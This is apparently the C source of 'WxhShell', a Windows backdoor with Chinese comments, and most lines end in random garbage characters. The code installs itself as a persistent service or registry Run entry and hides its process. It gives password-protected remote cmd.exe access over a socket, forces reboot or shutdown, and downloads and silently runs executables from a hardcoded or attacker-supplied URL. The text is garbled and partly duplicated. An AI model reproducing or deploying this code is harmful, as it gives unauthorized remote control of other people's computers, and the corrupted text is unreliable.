    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }}qY,@eeX  
    if(Boot(SHUTDOWN)) |2E:]wT}qg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ToK=`0#LNK  
    else { ~|G`f\Ln"  
    closesocket(wsh); 4|&_i)S-Y  
    ExitThread(0); ::p%R@?  
    } QE|x[?7e,!  
    break; L\hid /NL  
    } W(}2R>$  
  // 获取shell b*(, W  
  case 's': { -x{@D{Q%  
    CmdShell(wsh); ,. zHG  
    closesocket(wsh); I`77[  
    ExitThread(0); `_()|;!y  
    break; - lqD  
  } oI5^.Dr FW  
  // 退出 `>4"i+NFF8  
  case 'x': { e ?7y$H-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :q c?FQ ;  
    CloseIt(wsh); ( Sjlm^bca  
    break; z}Lf]w?  
    } Y[N@ )E_G  
  // 离开 6u'E}hAx|  
  case 'q': { B)*1[Jf{4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :9DyABK=Cv  
    closesocket(wsh); \JC_"gqt  
    WSACleanup(); 2 g~W})e  
    exit(1); 75pn1*"gQ  
    break; Dz,|sHCmk  
        } j0^1BVcj  
  } ZkWMo= vL  
  } [b+B"f6  
0Bt>JbGs4  
  // 提示信息 eiCmd =O7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $O&N  
} !LQzf(s;  
  } Ei<m/v  
l,6' S8=  
  return;  1p K(tm  
} "Lyb4#M  
#eF,* d  
// shell模块句柄 e(?1`1  
int CmdShell(SOCKET sock) <*I*#WI&B  
{ A{dqB  
STARTUPINFO si; bk0<i*ju7(  
ZeroMemory(&si,sizeof(si)); r $[{sW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I s|_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~z^49Ys:  
PROCESS_INFORMATION ProcessInfo; ;?q-]J?  
char cmdline[]="cmd"; j115:f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2%v6h  
  return 0;  f,kV  
} >7)QdaB  
aeVd.`lxM  
// 自身启动模式  '9'f\  
int StartFromService(void) G5|'uKz2"  
{ 9@?|rj e9  
typedef struct b'C#]DorE  
{ H2xDC_Fs  
  DWORD ExitStatus; V*r/0|vd  
  DWORD PebBaseAddress; E@%1HO_  
  DWORD AffinityMask; L{GlDoFk  
  DWORD BasePriority; Z<W f/  
  ULONG UniqueProcessId; ;s#I b_  
  ULONG InheritedFromUniqueProcessId; i1X!G|Awfv  
}   PROCESS_BASIC_INFORMATION; P'SGt  
z}iz~WZ  
PROCNTQSIP NtQueryInformationProcess; <>(v~a]  
vM-kk:n7f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y<*\D_J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A8QUfg@uK~  
k.})3~F-  
  HANDLE             hProcess; nltOX@P-  
  PROCESS_BASIC_INFORMATION pbi; Rqbz3h~  
[?=DPE%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XZQ-Ig18  
  if(NULL == hInst ) return 0; m^zD']  
&G[W$2`@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f'MRC \  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qJJ 5o?'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A k~|r#@  
t\]kVo)  
  if (!NtQueryInformationProcess) return 0; }O+S}Hbwy  
:#\jx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]<ay_w;  
  if(!hProcess) return 0; I?nU+t;  
6kMEm)YjT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -7XaS&.4  
,S m?2<  
  CloseHandle(hProcess); _dECAk &b  
|9F-ZH~6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4]E1x l  
if(hProcess==NULL) return 0; _j4 K  
+K8T%GAr  
HMODULE hMod; (uX"n`Dk  
char procName[255]; Uu@qS  
unsigned long cbNeeded; Q);}1'c  
t|9vb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \II^&xSF  
NG RXNh+  
  CloseHandle(hProcess); FjI1'Ah\  
d|`8\fq  
if(strstr(procName,"services")) return 1; // 以服务启动 <Fv7JPN%  
cp"{W-Q{$  
  return 0; // 注册表启动 *3h_'3yo@  
} VZe'6?#  
_{ 2`sL)  
// 主模块 kyZZ0  
int StartWxhshell(LPSTR lpCmdLine) |MN2v[y  
{ qG2P?DR  
  SOCKET wsl; e|>@ >F]K  
BOOL val=TRUE; 9. ,IqnP  
  int port=0; 3g56[;Up?  
  struct sockaddr_in door; RH$l?j6  
R&:Qy7"  
  if(wscfg.ws_autoins) Install(); 6ZwQ/~7H  
nEP3B '+  
port=atoi(lpCmdLine); _mQj=  
DjiI*HLNR  
if(port<=0) port=wscfg.ws_port; il"pKQF  
 R7;X  
  WSADATA data; t?b@l<, s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <[T{q |*  
1bDAi2 H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &LG|YvMY6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eYn/F~5-  
  door.sin_family = AF_INET; wzmQRn;s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >I0 a$w  
  door.sin_port = htons(port); EY.m,@{  
**oDQwW]*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IL uQf-  
closesocket(wsl); DGw*BN%`  
return 1; +VJyGbOcC  
} W<TfDEEa  
fN21[Jv3  
  if(listen(wsl,2) == INVALID_SOCKET) { c>! ^\  
closesocket(wsl); G)f!AuN=  
return 1; !aJ6Uf%R  
} G8MLg#  
  Wxhshell(wsl); 0-uVmlk=/  
  WSACleanup(); \IEuu^  
|oePB<N  
return 0; \@T;/Pj{[  
sPl3JP&s  
} )cL`$h4DD  
8A/rkoht*  
// 以NT服务方式启动 P)hGe3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) " YOl6n  
{ H(O|y2   
DWORD   status = 0; 0QW;=@)d  
  DWORD   specificError = 0xfffffff; ($8!r|g5#  
4Me3{!HJz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )T&r770  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $" =3e]<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ka{!' ^  
  serviceStatus.dwWin32ExitCode     = 0; Mhb~wDQl  
  serviceStatus.dwServiceSpecificExitCode = 0; k9NHdi7&2  
  serviceStatus.dwCheckPoint       = 0; [r9HYju =  
  serviceStatus.dwWaitHint       = 0; : w>R|]  
R((KAl]dL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i=hA. y`  
  if (hServiceStatusHandle==0) return; NO/5pz}1  
zz<o4b R  
status = GetLastError(); T-x9IoE  
  if (status!=NO_ERROR) l1 _"9a%H  
{ ux 17q>G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T[g(S0dz  
    serviceStatus.dwCheckPoint       = 0; B5R7geC  
    serviceStatus.dwWaitHint       = 0; ?%D nIl>  
    serviceStatus.dwWin32ExitCode     = status; Gv[(0  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y:Jgr&*,z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dQAF;L  
    return; {Q`Q2'@  
  } QF22_D<.}J  
`D$RL*C;M`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j0n.+CO-{  
  serviceStatus.dwCheckPoint       = 0; )(c%QWz  
  serviceStatus.dwWaitHint       = 0; |TF6&$>d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -q nOq[  
} 0,8RA_Ca}  
C~nL3w  
// 处理NT服务事件,比如:启动、停止 3{Zd<JYg4-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZsYY)<n  
{ l&m Y}k  
switch(fdwControl) v0bP|h[t  
{ HV]u9nrt#  
case SERVICE_CONTROL_STOP: u?>8`]r  
  serviceStatus.dwWin32ExitCode = 0; xK5~9StP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7xO~v23oe  
  serviceStatus.dwCheckPoint   = 0; )YZx]6\l)  
  serviceStatus.dwWaitHint     = 0; n;:C{5  
  { =rkW325O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u_8Z^T  
  } ^i8(/iwdJE  
  return; }}"|(2I  
case SERVICE_CONTROL_PAUSE: ZXIz.GFy+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (B?ZUXM,  
  break; m& D#5C  
case SERVICE_CONTROL_CONTINUE: vTWm_ed+^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8.7lc2aX  
  break; \>{;,f  
case SERVICE_CONTROL_INTERROGATE: ~\<L74BB  
  break; 6['o^>\}f  
}; S/l6c P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #>sI XY  
} u% =2g'+)_  
tDMNpl  
// 标准应用程序主函数 )M"xCO3a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >LPIvmT4D?  
{ ~8-xj6^  
$' ::51  
// 获取操作系统版本 C AN1~  
OsIsNt=GetOsVer(); nV8iYBBym  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,s:viXk  
_NpxV'E  
  // 从命令行安装 U8,pe;/ln`  
  if(strpbrk(lpCmdLine,"iI")) Install(); e+<9Sh7&  
gr# |ZK.`  
  // 下载执行文件 s3K!~v\L]  
if(wscfg.ws_downexe) { 9g.5:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H!l 9a  
  WinExec(wscfg.ws_filenam,SW_HIDE); c'5ls7?}O{  
} 1S yG  
:YLurng/]  
if(!OsIsNt) { O]j<$GG!  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~]'yUd1gSZ  
HideProc(); #3A|Z=,5  
StartWxhshell(lpCmdLine); *D1vla8  
} 1 (e64w@  
else .SNg2.  
  if(StartFromService()) \Xr*1DI<  
  // 以服务方式启动 jx ?"`;a  
  StartServiceCtrlDispatcher(DispatchTable); IlB*JJnl  
else .Sv/0&O  
  // 普通方式启动 o1-_BlZ  
  StartWxhshell(lpCmdLine); #qK5i1<  
\: B))y?}d  
return 0; Q5sJ|]Bc  
} yW"[}L h4  
azO7C*_  
%'S[f  
b"B:DDw00  
=========================================== -MFePpUt  
e_cK#9+  
_sY; dS/  
&)_ z!  
I8YCXh  
.nEiYS|T  
" >gz8,&  
[X>f;;h  
#include <stdio.h> POX{;[SV  
#include <string.h> 4Tb"+Y}  
#include <windows.h> wti  
#include <winsock2.h> }02(Y!Gh  
#include <winsvc.h> P?zaut  
#include <urlmon.h> agQD d8oX  
#qxo1uV(c  
#pragma comment (lib, "Ws2_32.lib") /!`xqG#  
#pragma comment (lib, "urlmon.lib") uf"(b"N0  
S6fbwZZMG  
#define MAX_USER   100 // 最大客户端连接数 H5o=nWQ6e  
#define BUF_SOCK   200 // sock buffer ;kT~&.,y  
#define KEY_BUFF   255 // 输入 buffer 6& 6|R3  
o^r\7g6\  
#define REBOOT     0   // 重启 v2="j  
#define SHUTDOWN   1   // 关机 ) t CNp  
g${k8.TV  
#define DEF_PORT   5000 // 监听端口 L^bX[.uZw  
k+Z2)j"  
#define REG_LEN     16   // 注册表键长度 [khXAf1{Q  
#define SVC_LEN     80   // NT服务名长度 g}L>k}I?!W  
(A "yE4rYK  
// 从dll定义API l kyK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Aq\K N.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ch:EL-L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nlaW$b{=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P]armg%  
b[:{\ !I  
// wxhshell配置信息 '|<S`,'#hg  
struct WSCFG { &:1q3 gDm  
  int ws_port;         // 监听端口 usC$NVdm  
  char ws_passstr[REG_LEN]; // 口令 '}"&JO~vPj  
  int ws_autoins;       // 安装标记, 1=yes 0=no S0}=uL#dt  
  char ws_regname[REG_LEN]; // 注册表键名 wN :"(mQ  
  char ws_svcname[REG_LEN]; // 服务名 *kEzGgTzoS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8DM! ]L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?nq%'<^^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @[Q`k=h$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ydAiH*>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `PSjk F(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xg* ](>/\,  
aPQxpK?  
}; qv'w 7T  
[+!&iN  
// default Wxhshell configuration E>`|?DE@  
struct WSCFG wscfg={DEF_PORT, j0s$}FPUI  
    "xuhuanlingzhe", ?nWzJ5w3  
    1, 3xiDt?&H  
    "Wxhshell", g(,^'; j  
    "Wxhshell", n|KYcU#  
            "WxhShell Service", 4S[UJ%  
    "Wrsky Windows CmdShell Service", e6^}XRyf  
    "Please Input Your Password: ", 4IvT}Us#+  
  1, n 8 K6m(  
  "http://www.wrsky.com/wxhshell.exe", nd7g8P9p  
  "Wxhshell.exe" a,r B7aD  
    }; &~2I Fp  
0=K8 nxdx  
// 消息定义模块 MH9vg5QKp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U3Z-1G~*r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kg\8 (@h]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Y2$'ETD  
char *msg_ws_ext="\n\rExit."; 4u"Bll  
char *msg_ws_end="\n\rQuit."; =|8hG*D8  
char *msg_ws_boot="\n\rReboot..."; -Tn%O|#K  
char *msg_ws_poff="\n\rShutdown..."; +T8MQ[(4  
char *msg_ws_down="\n\rSave to "; EdkIT|c{  
8@RtL,[d  
char *msg_ws_err="\n\rErr!"; (.VS&Kv#U  
char *msg_ws_ok="\n\rOK!"; ou- uZ"$,c  
}}D32T VN  
char ExeFile[MAX_PATH]; e `OQ6|.k8  
int nUser = 0; tw&v@HUP  
HANDLE handles[MAX_USER]; 5$+ssR_?k  
int OsIsNt; iRbe$v&N  
=%7s0l3z  
SERVICE_STATUS       serviceStatus; P{yb%@I~J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <HzL%DX  
QodWUbi'&  
// 函数声明 YPf?  
int Install(void); i'4.w?OZ  
int Uninstall(void); R<(xWH  
int DownloadFile(char *sURL, SOCKET wsh); 4 Tw~4b  
int Boot(int flag); >[;=c0(  
void HideProc(void); Vu=/<;-N  
int GetOsVer(void); C,GZ  
int Wxhshell(SOCKET wsl); t,IOq[Vtk  
void TalkWithClient(void *cs); 8ZLHN',  
int CmdShell(SOCKET sock); xV 2C4K  
int StartFromService(void); qZ&~&f|>e  
int StartWxhshell(LPSTR lpCmdLine); v^vi *c  
4d-(:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KROD(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #<ST.f@*  
C/'w  
// 数据结构和表定义 44|tCB`  
SERVICE_TABLE_ENTRY DispatchTable[] = Y]](.\ff  
{ }a.j~>rq  
{wscfg.ws_svcname, NTServiceMain}, zn7)>cQ905  
{NULL, NULL}  bI8uw|c  
}; ,isjiy J  
%.?V\l  
// 自我安装 E)ZL+(  
int Install(void) /jGV[_Q=P  
{ >#k- ~|w  
  char svExeFile[MAX_PATH]; ^YropzHZ4E  
  HKEY key;  o?m/  
  strcpy(svExeFile,ExeFile); h /^bRs`;  
f-71`Pyb  
// 如果是win9x系统,修改注册表设为自启动 Qh(X7B  
if(!OsIsNt) { FROC/'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PP>6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K,$rG%c zX  
  RegCloseKey(key); n|LpM.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l{>j8Ln  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r[H8;&EL  
  RegCloseKey(key); @NqwJ.%g  
  return 0; e,MsF4'  
    } ;R[3nb9%  
  } kS:#|yY8%  
} ?Rx(@  
else { 3RT\G0?8f  
*8/Xh)B;  
// 如果是NT以上系统,安装为系统服务 lg~7[=%k#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $|.8@ nj  
if (schSCManager!=0) )1KyUQ\e  
{ qq]Iy=  
  SC_HANDLE schService = CreateService X<P <-e9  
  ( x|(pmqIH+  
  schSCManager, \ "$$c  
  wscfg.ws_svcname, OTdijQLY  
  wscfg.ws_svcdisp, AyOibnoZ2E  
  SERVICE_ALL_ACCESS, rxH]'6kP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1{ %y(?`  
  SERVICE_AUTO_START, qS FtQ4  
  SERVICE_ERROR_NORMAL, JcA+ztPU  
  svExeFile, F!wz{i6\h  
  NULL, oSC'b%  
  NULL, -4& i t:  
  NULL, =@?[.`  
  NULL, %&| uT  
  NULL R]iV;j|  
  ); ,1$F #Eh  
  if (schService!=0) `+"(GaZ  
  { y{>f^S<  
  CloseServiceHandle(schService); *^~ =/:  
  CloseServiceHandle(schSCManager); tmooS7\a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gtZmBe=  
  strcat(svExeFile,wscfg.ws_svcname); 4]ni-u0*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E<[ s+iX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }|Mwv $`  
  RegCloseKey(key); -` U |5  
  return 0; EZ]4cd/i  
    } EN2SI+  
  } U5OX.0  
  CloseServiceHandle(schSCManager);  pUb1#=  
} ^hmV?a:Y  
} U`mX f#D  
bIAE?D  
return 1; 0f.j W O  
} <ak[`]  
q!eE~O;A  
// 自我卸载 aQtd6L+ J  
int Uninstall(void) @wI>0B  
{ 89g a+#7  
  HKEY key; JfIXv  
MK=oGzK  
if(!OsIsNt) { 0lg$zi x(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y \-W`  
  RegDeleteValue(key,wscfg.ws_regname); ~\jP+[>M'  
  RegCloseKey(key); V0>X2&.A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >8>!wi9U  
  RegDeleteValue(key,wscfg.ws_regname); ,=P&{38\q  
  RegCloseKey(key); Qs6Vu)U=  
  return 0; Nc7"`!;-   
  } |Ev|A9J!  
} d8wVhZKI"  
} &aLTy&8Fv  
else { ~Ld5WEp k3  
, ~O>8VbF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IMH4GVr"  
if (schSCManager!=0) $Es\ld  
{ K8;SE !  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z~~6y6p  
  if (schService!=0) 3R+% C*7  
  { .ybmJU*Hg  
  if(DeleteService(schService)!=0) { w`)5(~b  
  CloseServiceHandle(schService); W2 -%/  
  CloseServiceHandle(schSCManager); nn_O"fZi  
  return 0; ~oa}gJl:}-  
  } -WlYHW  
  CloseServiceHandle(schService); c$Kc,`2m7  
  } :o>=^N  
  CloseServiceHandle(schSCManager); I'4(Ibl+  
} ayy\7b  
} ?e$&=FC0;  
Q[biy{(b8  
return 1; L 0fe  
} .B:ZyTI  
K381B5_h  
// 从指定url下载文件 -e/}DGL  
int DownloadFile(char *sURL, SOCKET wsh) wUv?;Y$C  
{ hG?y)g\A  
  HRESULT hr; ]#)(D-i  
char seps[]= "/"; |Vx [  
char *token; 'f\9'v  
char *file; g"m' C6;  
char myURL[MAX_PATH]; Zv;nY7B  
char myFILE[MAX_PATH]; fp' '+R[   
}=[p>3Dd  
strcpy(myURL,sURL); _;j1g%  
  token=strtok(myURL,seps); 8tx*z"2S  
  while(token!=NULL) NP T-d  
  { DM^0[3XuV5  
    file=token; R| ?Q&F_$  
  token=strtok(NULL,seps); ~~W.]>f  
  } djdTh +>28  
$oBs%.Jp  
GetCurrentDirectory(MAX_PATH,myFILE); >Ku4Il+36  
strcat(myFILE, "\\"); :?6HG_9X  
strcat(myFILE, file); ~)U50. CH  
  send(wsh,myFILE,strlen(myFILE),0); &n6{wtBP  
send(wsh,"...",3,0); Z<nNk.G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lYG`)#T  
  if(hr==S_OK) NN*L3yx  
return 0; jIubJQR~  
else <fvu) f  
return 1; Nw*<e ]uD  
W"c\/]aD  
} 1<r!9x9G  
V~*Gk!+f  
// 系统电源模块 gk%nF  
int Boot(int flag) dk|LC-]`A  
{ 72dRp!J U  
  HANDLE hToken; 7;EDU  
  TOKEN_PRIVILEGES tkp; @]l|-xGCWn  
* ,a F-  
  if(OsIsNt) { 0= $/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~ WWhCRq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tvI<Why\p  
    tkp.PrivilegeCount = 1; Ei!Z]jeK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D S U`(`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \l GD8@,x  
if(flag==REBOOT) { q/EX`%U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ``l*;}  
  return 0; ?b]zsku8  
}  LCor T-  
else { u7< +)6-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D$}hoM1  
  return 0; X30tO>  
} c]4X`3]  
  } #X-C~*|>j  
  else { dn 6]qW5  
if(flag==REBOOT) { g *Js4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Cbff:IP  
  return 0; 5#.m'a)  
} Jt8;ddz  
else { \s)MN s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pJHdY)Cz  
  return 0; UIAazDyC  
} w"' Pn`T  
} |T<aWZb^=  
:h(HKMSk1  
return 1; ?X|)0o  
} [MIgQ.n  
~B;}jI]d[  
// win9x进程隐藏模块 PuN L%D  
void HideProc(void) X:W\EeH  
{ ;J W ]b]  
Hu|Tj<S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vb>F)X?b_  
  if ( hKernel != NULL ) AU9C#;JD  
  { JvAXLT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o +$v0vg%T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )g@+ MR  
    FreeLibrary(hKernel); NY.Cr.}  
  } rI$NNk'A  
>?^oxB"<Gc  
return; 5M5Bm[X  
} |S8$NI2  
wkp2A18n  
// 获取操作系统版本 A%D 'Z85 -  
int GetOsVer(void) !aT:0m$:9c  
{ kY]"3a  
  OSVERSIONINFO winfo; -}6ew@GE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IW\^-LI.  
  GetVersionEx(&winfo); KU8,8:yY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @aS)=|Ls\  
  return 1; 0F)v9EK(W4  
  else PysDDU}v  
  return 0; yQhO-jT  
} $ar^U  
m,HE4`g  
// 客户端句柄模块 dj0%?g>  
int Wxhshell(SOCKET wsl) 9`f@"%h  
{ $FPq8$V  
  SOCKET wsh; (.#nl}fA  
  struct sockaddr_in client; 2^'Ec:|f  
  DWORD myID; ys`-QlkB  
fG0ZVV!   
  while(nUser<MAX_USER) Kd oI  
{ ]aPf-O*  
  int nSize=sizeof(client); do8[wej<:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /r7xA}se^  
  if(wsh==INVALID_SOCKET) return 1; ?}Zo~]7E  
# xO PF9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [5&k{*}}  
if(handles[nUser]==0) `CWhjL8^  
  closesocket(wsh); (2b${Q@V  
else cW*v))@2  
  nUser++; m7k }k)  
  } dXTD8 )&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )c11_1;  
lAnq2j|  
  return 0; V*n$$-5 1-  
} wNmpUO ?  
]gBnzh.  
// 关闭 socket Z^'~iU-?  
void CloseIt(SOCKET wsh) T";evM66  
{ sK#) k\w>  
closesocket(wsh); vEI{AmogRx  
nUser--; c0o]O[  
ExitThread(0); s*rR> D:  
} WOn53|GQK  
}ktIG|GC  
// 客户端请求句柄 {Z c8,jm  
void TalkWithClient(void *cs) 6k hBT'n  
{ 1hw.gn*JK>  
N}#Rw2Vl  
  SOCKET wsh=(SOCKET)cs; C_J@:HlJ  
  char pwd[SVC_LEN]; kN/YnY*J<  
  char cmd[KEY_BUFF]; ,=+t2Bn  
char chr[1]; uB)q1QQsqp  
int i,j; `t/j6 e]  
e 6mZ;y5_  
  while (nUser < MAX_USER) { f&CQn.K"  
O[d#-0s  
if(wscfg.ws_passstr) { 1%_RXQVG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EK# 11@0%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Phi5;U!  
  //ZeroMemory(pwd,KEY_BUFF); XR..DVab  
      i=0; 4`8s]X  
  while(i<SVC_LEN) { @XJ7ff&  
n$2oM5<  
  // 设置超时 Pm%xX~H  
  fd_set FdRead; /0\g!29l<  
  struct timeval TimeOut; ZiZ@3O6  
  FD_ZERO(&FdRead); 3t<a3"{9  
  FD_SET(wsh,&FdRead); 2OoANiX  
  TimeOut.tv_sec=8; L(|K{vHh]  
  TimeOut.tv_usec=0; _#V&rY&@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e:HORc~U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); brmS J7  
\a+Q5g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c!E{fSP  
  pwd=chr[0]; *+rfRH]a  
  if(chr[0]==0xd || chr[0]==0xa) { cg{5\ Vl  
  pwd=0; #TNjQNg@O  
  break; T^4 dHG-(  
  } ;B@#,6t/  
  i++; 4~Qnhv7  
    } y#a,d||N1  
;i[JCNiS\  
  // 如果是非法用户,关闭 socket 2-@)'6"n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z%E(o%l8  
} Tw';;euw  
KKsVZ~<6u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^N^G?{EV/#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MiZ<v/L2  
ow'G&<0b  
while(1) { HrE,K\^  
RNc:qV<H  
  ZeroMemory(cmd,KEY_BUFF); 7G+!9^  
 D_dv8  
      // 自动支持客户端 telnet标准   ,a&,R*r@&  
  j=0; (nQm9 M(  
  while(j<KEY_BUFF) { poAJl;T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 85!]N F  
  cmd[j]=chr[0]; [y8(v ~H  
  if(chr[0]==0xa || chr[0]==0xd) { 3: GwX4yW  
  cmd[j]=0; f$FO 1B)  
  break; ~R[ k^i.Y  
  } 4^r6RS@z  
  j++; =Xvm#/  
    } \d;)U4__!  
+IS6l*_y>6  
  // 下载文件 ,Vq$>T@z  
  if(strstr(cmd,"http://")) { x'0_lf</ #  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '!A}.wF0  
  if(DownloadFile(cmd,wsh)) {F wvuk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ge$}L}4  
  else +\ftSm>  
